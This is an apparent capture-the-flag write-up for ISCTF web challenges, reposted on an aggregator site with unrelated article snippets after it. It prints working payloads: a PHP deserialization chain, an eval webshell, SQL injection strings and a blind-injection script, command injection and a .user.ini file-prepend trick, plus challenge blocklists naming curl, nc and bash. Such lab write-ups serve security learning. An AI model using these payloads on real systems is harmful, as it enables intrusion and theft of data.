ISCTF wp

news2024/11/23 21:15:56

web

圣杯战争

题目源码

 <?php
highlight_file(__FILE__);
error_reporting(0);
 
class artifact{
    public $excalibuer;
    public $arrow;
    public function __toString(){
        echo "为Saber选择了对的武器!<br>";
        return $this->excalibuer->arrow;
    }
}
 
class prepare{
    public $release;
    public function __get($key){
        $functioin = $this->release;
        echo "蓄力!咖喱棒!!<br>";
        return $functioin();
    }
}
class saber{
    public $weapon;
    public function __invoke(){
        echo "胜利!<br>";
        include($this->weapon);
    }
}
class summon{
    public $Saber;
    public $Rider;
 
    public function __wakeup(){
        echo "开始召唤从者!<br>";
        echo $this->Saber;
    }
}
 
if(isset($_GET['payload'])){
    unserialize($_GET['payload']);
}
?> 

知识点:

  • __wakeup() 方法

当使用 unserialize() 反序列化一个对象成功后,会自动调用该对象的 __wakup() 魔术方法。

  • __invoke()方法

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

  • __get()方法

获取私有成员的属性值,它含有一个参数,即要获取的成员属性的名称,调用时返回获取的属性值,这个方法不需要手动调用,是在获取私有属性时自动调用的

  • __toString()方法

 它是在直接输出对象引用时自动调用的方法

当我们调试程序时,需要知道是否得出正确的数据。比如打印一个对象时,看看这个对象都有哪些属性,其值是什么,如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据

代码审计

class artifact{
    public $excalibuer;
    public $arrow;
    public function __toString(){
        echo "为Saber选择了对的武器!<br>";
        return $this->excalibuer->arrow;  //目的是触发__get(),我们留意到这里调用了$excalibuer里的arrow属性,显然类prepare里没有arrow属性,丢到这里刚好能触发__get()

 
class prepare{
    public $release;
    public function __get($key){
        $functioin = $this->release;//将 $this->release 属性赋值给了 $function
        echo "蓄力!咖喱棒!!<br>";
        return $functioin(); //在这里被当作函数调用,显而易见能把saber类丢给这里的$release
    }

class saber{
    public $weapon;
    public function __invoke(){
        echo "胜利!<br>";
        include($this->weapon);//想要包含需要触发__invoke()的话需要找能把saber类当作函数触发的地方
    }

class summon{
    public $Saber;
    public $Rider;
 
    public function __wakeup(){
        echo "开始召唤从者!<br>";
        echo $this->Saber;//目的是触发刚刚第三层的tostring,这里有个echo

用php伪协议构造

payload

?payload=O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}

解密即可得到flag

where_is_the_flag

题目

<?php  
//flag一分为3,散落在各处,分别是:xxxxxxxx、xxxx、xxx。  
highlight_file(__FILE__);  
  
//标准一句话木马~  
eval($_POST[1]);  
?>

提示了一句话木马密码为1,直接蚁剑连靶场,密码连1,进去就能看见flag1,根目录有flag2,

在这里看见

那我们先进入虚拟终端,然后cd /去到根目录,然后在根目录输出FLAG3 变量的值

将三个flag拼接一下即可得到完整的flag

绕进你的心里

题目

<?php  
highlight_file(__FILE__);  
error_reporting(0);  
require 'flag.php';  
$str = (String)$_POST['pan_gu'];  
$num = $_GET['zhurong'];  
$lida1 = $_GET['hongmeng'];  
$lida2 = $_GET['shennong'];  
if($lida1 !== $lida2 && md5($lida1) === md5($lida2)){  
    echo "md5绕过了!";  
    if(preg_match("/[0-9]/", $num)){  
        die('你干嘛?哎哟!');  
    }  
    elseif(intval($num)){  
        if(preg_match('/.+?ISCTF/is', $str)){  
            die("再想想!");  
        }  
        if(stripos($str, '2023ISCTF') === false){  
            die("就差一点点啦!");  
        }  
        echo $flag;  
    }  
}  
?>

通过数组绕过

?zhurong[]=1&hongmeng[]=2&shennong[]=3

网上找的通用回溯poc如下,需要对应不同题目改脚本:

import requests
from io import BytesIO
 
files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
 
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

那我们改一下脚本,执行就得到了flag

payload

import requests
url = " "
data={
'pan_gu':'very'*250000+'2023ISCTF'
}
connect=requests.post(url,data=data)
print(connect.text)

easy_website

打开题目

尝试用admin/admin登录

发现用户名的框有SQL注入漏洞,单引号闭合,替换了or,过滤了空格

1' oorrder%09by%091#

爆数据库名

username=-1'ANANDD%09updatexml(1,concat(0x7e,(sELECT%09database())),1)

爆表名

1'ANANDD%09extractvalue(1,concat(0x7e,(selselectect%09group_concat(table_name)%09from%09infoorrmation_schema.tables%09where%09table_schema=database()%09limit%090,1),0x7e))

爆字段名

1'ANANDD%09extractvalue(1,concat(0x7e,(selselectect%09group_concat(column_name)%09from%09infoorrmation_schema.columns%09where%09table_name='users'%09limit%090,2),0x7e))

发现不能全部显示出来

知识点:

substring方法

是js字符串类的一个方法,用于从一个字符串中提取出一个子字符串。它可以指定截取的起始和结束位置,不包括结束位置的字符

具体用法见博客:

substring()方法-CSDN博客

爆表名payload,需要改变后substring两个的参数来拼接

username=-1'ANANDD%09extractvalue(1,concat(0x7e,substring((selselectect%09group_concat(column_name)%09from%09infoorrmation_schema.columns%09where%09table_name='users'),1,50),0x7e))#&password=admin

经过尝试发现flag在password字段里

payload:

username=-1'ANANDD%09extractvalue(1,concat(0x7e,substring((selselectect%09passwoorrd%09from%09users%09limit%092,1),1,80),0x7e))

得到flag

wafr

题目

<?php  
/*  
Read /flaggggggg.txt  
*/  
error_reporting(0);  
header('Content-Type: text/html; charset=utf-8');  
highlight_file(__FILE__);  
  
if(preg_match("/cat|tac|more|less|head|tail|nl|sed|sort|uniq|rev|awk|od|vi|vim/i", $_POST['code'])){//strings    die("想读我文件?大胆。");  
}  
elseif (preg_match("/\^|\||\~|\\$|\%|jay/i", $_POST['code'])){  
    die("无字母数字RCE?大胆!");  
}  
elseif (preg_match("/bash|nc|curl|sess|\{|:|;/i", $_POST['code'])){  
    die("奇技淫巧?大胆!!");  
}  
elseif (preg_match("/fl|ag|\.|x/i", $_POST['code'])){  
    die("大胆!!!");  
}  
else{    assert($_POST['code']);  
}

用post传参

payload:

code=system("strings /f*")
 

ez_ini

选择文件上传,上传一个.user.ini
注意user前面有个 点
可以写入
auto_prepend_file=/flag

然后上传能直接有flag

web_include

用dirsearch扫描一下看看是不是源码泄露

发现了flag.php,index.bak

访问index.bak下载打开,得到

function string_to_int_array(str){
        const intArr = [];

        for(let i=0;i<str.length;i++){
          const charcode = str.charCodeAt(i);

          const partA = Math.floor(charcode / 26);
          const partB = charcode % 26;

          intArr.push(partA);
          intArr.push(partB);
        }

        return intArr;
      }

      function int_array_to_text(int_array){
        let txt = '';

        for(let i=0;i<int_array.length;i++){
          txt += String.fromCharCode(97 + int_array[i]);
        }

        return txt;
      }


const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
            window.location = 'flag.html';
          }else {
            document.getElementById('fail').style.display = '';
          }

有一处是让一个小写字母转换为两个大写字母,我们需要逆向写一个脚本,这里就直接复制师傅的脚本

#include<stdio.h>
#include<string.h>
 
int main()
{
    char b[100]="dxdydxdudxdtdxeadxekdxea";
    for(int j=0;j<2;j++){
        int tmp1=0,tmp2=0,sum=0,f=0;
        //printf("%d\n",strlen(b));
        for(int i=0;i<strlen(b);i++){
            int tmp=(int)(b[i]-97);
            f++;
            if(i%2==0){
                tmp1=tmp*26;
                //printf("%d ",tmp1);
            }
            if(i%2!=0){
                tmp2=tmp;
                //printf("%d ",tmp2);
            }
            if(f==2){
                printf("%c",tmp1+tmp2);
                //printf("%d\n",sum);
                sum++;
                tmp1=0;
                tmp2=0;
                f=0;
            }
    }
    //printf("%d",sum);
    }
    return 0;
}

用伪协议构造payload即可

payload

?mihoyo=php://filter/read=convert.base64-encode/resource=flag.php

fuzz

题目

<?php  
/*  
Read /flaggggggg.txt  
Hint: 你需要学会fuzz,看着键盘一个一个对是没有灵魂的  
知识补充:curl命令也可以用来读取文件哦,如curl file:///etc/passwd  
*/  
error_reporting(0);  
header('Content-Type: text/html; charset=utf-8');  
highlight_file(__FILE__);  
$file = 'file:///etc/passwd';  
if(preg_match("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i", $_GET['file'])){  
    die('你需要fuzz一下哦~');  
}  
if(!preg_match("/fi|le|flag/i", $_GET['file'])){    $file = $_GET['file'];  
}  
system('curl '.$file);

[a-z]可以绕过任意一个字母,"|"没过滤可以放在开头结束前面的curl,然后再拼接系统命令

payload:

?file=|tac /fl[a-z]ggggggg.txt

?file=f{i}l{e}:///fla{g}gggggg.txt

1z_Ssql

用脚本跑一下

import requests
i = 0
url = "http://43.249.195.138:20786/"
result = ""
for k in range (0,10):
    for j in range (1,100):
        l = 32
        r = 128
        mid = (l+r)>>1
        while (l < r):
            #爆库名
            payload ="1'^(ascii(substr(database(),{0},1))>{1})#".format(j,mid)
            #爆表名
            #payload = "1'^(ascii(substr((select table_name from information_schema.tables group by table_name having table_schema regexp database() limit {2},1),{0},1))>{1})#".format(j, mid,k)
            #爆字段
            #payload = "1'^(ascii(substr((select column_name from information_schema.columns where table_name='users' limit {2},1),{0},1))>{1})#".format(j, mid, k)
            #payload = "1'^(ascii(substr((select flag1 from  limit {2},1),{0},1)>{1}))#".format(j,mid,k)
            response = requests.post(url=url,data={"username": payload, "password":"1","submit": "%E7%99%BB%E5%BD%95"})
            if "You are so smart!" in response.text:
                l = mid + 1
            # print(payload)
                #print(response.text)
                i +=1
            else :
                r = mid
            mid = (l + r)>>1
 
        if (chr(mid) == " "):
            result = result + '\n'
            break
        result = result + chr(mid)
 
        #print(result)
 
 
print(i)
print(result)

 爆了bthcls的库

再看看当时给的附件

由于name1里面有users,name2里面有username和password。

猜想name1为表名,name2为字段名来爆破:

将脚本中的database()改成select group_concat(username) from bthcls.users就可以了。

import requests
i = 0
url = "http://43.249.195.138:20786/"
result = ""
for k in range (0,10):
    for j in range (1,100):
        l = 32
        r = 128
        mid = (l+r)>>1
        while (l < r):
            payload ="1'^(ascii(substr((select group_concat(username) from bthcls.users),{0},1))>{1})#".format(j,mid)
            response = requests.post(url=url,data={"username": payload, "password":"1","submit": "%E7%99%BB%E5%BD%95"})

            if "You are so smart!" in response.text:
                l = mid + 1
            # print(payload)
                #print(response.text)
                i +=1
            else :
                r = mid
            mid = (l + r)>>1
 
        if (chr(mid) == " "):
            result = result + '\n'
            break
        result = result + chr(mid)
 
        #print(result)
 
 
print(i)
print(result)

直接admin/we1come7o1sctf登录

获得flag

misc

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1422183.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C#,德兰诺依数(Dealnnoy Number)的算法与源代码

1 Dealnnoy Number 德兰诺依数&#xff0c;德兰诺伊数 德兰诺依数是以法国军官、业余数学家亨利德兰诺依&#xff08;Henry Dealnnoy&#xff09;的名字命名。 Henry Dealnnoy 在组合数学中&#xff0c;德兰诺依数描述了从(0,0)到(m,n)的格路问题中&#xff0c; 只允许按照(0…

《【Python】如何设置现代 Python 日志记录 | Python 基础教程 | Python 冷知识 | 十分钟高手系列》学习笔记

《【Python】如何设置现代 Python 日志记录 | Python 基础》 2 PUT ALL HANDLERS/FILTERS ON THE ROOT&#xff1a;扁平化的设计有助于简化维护成本 5 STORE CONFIG IN JSON OR YAML FILE&#xff1a;使用配置文件可以将配置和代码解耦&#xff0c;减少代码量 日志设置示例 7 …

springboot3+vue3支付宝交易案例-结算支付

springboot3vue3支付宝交易案例-结算支付&#xff01;今天下午整理了一下结算的内容。遇到了很多问题。汇总分享给大家。 第一个问题&#xff1a;支付宝结算后&#xff0c;返回的交易编码&#xff0c;和交易时间&#xff0c;交易状态&#xff0c;都应该使用varchar来存。 第二…

Python面向对象编程:探索代码的结构之美

文章目录 一、引言二、为什么学习面向对象编程2.1 提高代码的可维护性&#xff1a;通过封装、继承和多态实现模块化设计2.2 提升代码的复用性&#xff1a;通过类和对象的创建实现代码的重用 三、类和对象的基本概念3.1 类和对象的定义和关系&#xff1a;类是对象的模板&#xf…

【数据结构 06】二叉树

一、原理 二叉树算法核心思维&#xff1a;递归 满二叉树&#xff1a;二叉树的层数为K&#xff0c;节点数为 完全二叉树&#xff1a;二叉树的层数为K&#xff0c;前K-1层是满的&#xff0c;第K层是连续的 满二叉树是完全二叉树的子集。 任意二叉树&#xff1a;若叶子节点的…

NC248:左叶子之和(C++)

1.题目描述 2.题目分析 我们以一个二叉树为例 左叶子的特点是什么&#xff1f; 是左节点并且没有左右孩子节点 所以我们用leftnode保存root->lefe节点&#xff0c;判断条件为leftnode存在&#xff0c;并且不存在leftnode->left和leftnode->right&#xff0c;如果满…

事务、MVCC、锁

目录 事务MVCC锁 事务 四大特性&#xff1a;ACID 脏读&#xff1a;事务A读取到未提交事务B修改的数据 不可重复读&#xff1a;事务A修改了未提交事务B读取的数据 幻读&#xff1a;事务A增删了未提交事务B读取的数据 不可重复读与幻读都是读取的结果不同&#xff0c;前者侧重于…

常用芯片学习——CD4094芯片

CD4094 8位移位寄存器/3态输出缓冲器 使用说明 CD4094是由一个 8 位串行移位寄存器和一个 3 态输出缓冲器组成的 CMOS 集成电路。寄存器带有存储锁存功能&#xff0c;集成电路根据 STROBE 信号确定锁存器是否接收移位寄存器各位数据&#xff0c;数据是否由锁存器传输到 3 态输…

单元测试 | Junit4“单元测试“ ( Java中可用 )

目录: 使用JUnit4进行“单元测试” 作者简介 &#xff1a;一只大皮卡丘&#xff0c;计算机专业学生&#xff0c;正在努力学习、努力敲代码中! 让我们一起继续努力学习&#xff01; 文章用于本人学习使用 &#xff0c; 同时希望能帮助大家。 欢迎大家点赞&#x1f44d; 收藏⭐ …

HarmonyOS 鸿蒙驱动消息机制管理

驱动消息机制管理 使用场景 当用户态应用和内核态驱动需要交互时&#xff0c;可以使用HDF框架的消息机制来实现。 接口说明 消息机制的功能主要有以下两种&#xff1a; 用户态应用发送消息到驱动。 用户态应用接收驱动主动上报事件。 表1 消息机制接口 方法描述struct …

扩展学习|商业智能和大数据分析的研究前景(比对分析)

文献来源&#xff1a; Liang T P , Liu Y H .Research Landscape of Business Intelligence and Big Data analytics: A bibliometrics study[J].Expert Systems with Applications, 2018, 111(NOV.):2-10.DOI:10.1016/j.eswa.2018.05.018. 信息和通信技术的快速发展导致了数字…

【LVGL源码移植环境搭建】

LVGL源码移植&环境搭建 ■ LVGL源码移植■ 下载LVGL源码■ 修改LVGL文件夹■■■■ 视频链接 Ubuntu模拟器环境建置 ■ LVGL源码移植 ■ 下载LVGL源码 LVGL源码 我们以选择v8.2.0为例&#xff0c;选择8.2.0下载 ■ 修改LVGL文件夹 1.我们只需要关注这5个文件即可&…

公司在数字化过程中犯的7个错误,及其解决方法

今天&#xff0c;大多数公司都意识到技术提供了转变其业务模式和产品的机会。但是&#xff0c;没有多少人知道他们在采用时所犯的错误。 既然我们现在都同意数字化转型不是一种选择&#xff0c;我们不妨拥抱变化并学习如何最好地采用它。但说起来容易做起来难&#xff0c;不是…

网页版idea、pycharm搭建

官网教程提供了两种方法&#xff1a;1、有给应用版idea或pycharm安装插件来开放网页服务&#xff1b;2、使用docker创建容器开放网页服务。这边推荐并介绍第二种步骤。 基本过程为&#xff1a;拉取相关镜像&#xff1b;开启服务&#xff1b;使用网页版 &#xff08;细节和注意点…

目标检测算法训练数据准备——Penn-Fudan数据集预处理实例说明(附代码)

目录 0. 前言 1. Penn-Fudan数据集介绍 2. Penn-Fudan数据集预处理过程 3. 结果展示 4. 完整代码 0. 前言 按照国际惯例&#xff0c;首先声明&#xff1a;本文只是我自己学习的理解&#xff0c;虽然参考了他人的宝贵见解及成果&#xff0c;但是内容可能存在不准确的地方。如…

Python爬虫获取淘宝商品详情页数据|实现自动化采集商品信息

近年来&#xff0c;随着互联网的发展&#xff0c;越来越多的数据以网页的形式存在于各个网站上。对于数据分析师、研究员或者仅仅是对数据感兴趣的人来说&#xff0c;如何高效地提取和分析网页数据成为了一项重要的技能。Python作为一门强大的编程语言&#xff0c;通过其丰富的…

【pytorch】nn.linear 中为什么是y=xA^T+b

我记得读教材的时候是yWxb, 左乘矩阵W&#xff0c;这样才能表示线性变化。 但是pytorch中的nn.linear中&#xff0c;计算方式是yxA^Tb&#xff0c;其中A是权重矩阵。 为什么右乘也能表示线性变化操作呢&#xff1f;因为pytorch中&#xff0c;照顾到输入是多个样本一起算的&…

【Ubuntu 22.04.3 LTS】apt-get下载安装有关问题可能原因及解决方法

ubuntu 22.04.3 LTS unaccountably error 装啥啥没依赖 可能是用了不合适的源&#xff0c;换个就好了 Now, let’s take a look at the lsb_release output, with a special focus on the Codename, which could be a crucial piece of information. The lsb_release comm…

使用ChatGPT学习大象机器人六轴协作机械臂mechArm

引言 我是一名机器人方向的大学生&#xff0c;近期学校安排自主做一个机器人方面相关的项目。学校给我们提供了一个小型的六轴机械臂&#xff0c;mechArm 270M5Stack&#xff0c;我打算使用ChatGPT让它来辅助我学习如何使用这个机械臂并且做一个demo。 本篇文章将记录我是如何使…

Windows编程入门-窗口控件-资源操作

window控件&#xff1a; 控件是常见的窗口上的交互元素例如&#xff1a;一个按钮&#xff0c;一个复选框&#xff0c;一个列表框等。 当控件的特定功能被触发后&#xff0c;会主动发送消息通知父窗口&#xff0c;父窗口可以通过发送消息给控件控制控件的行为。 控件的本质是一个…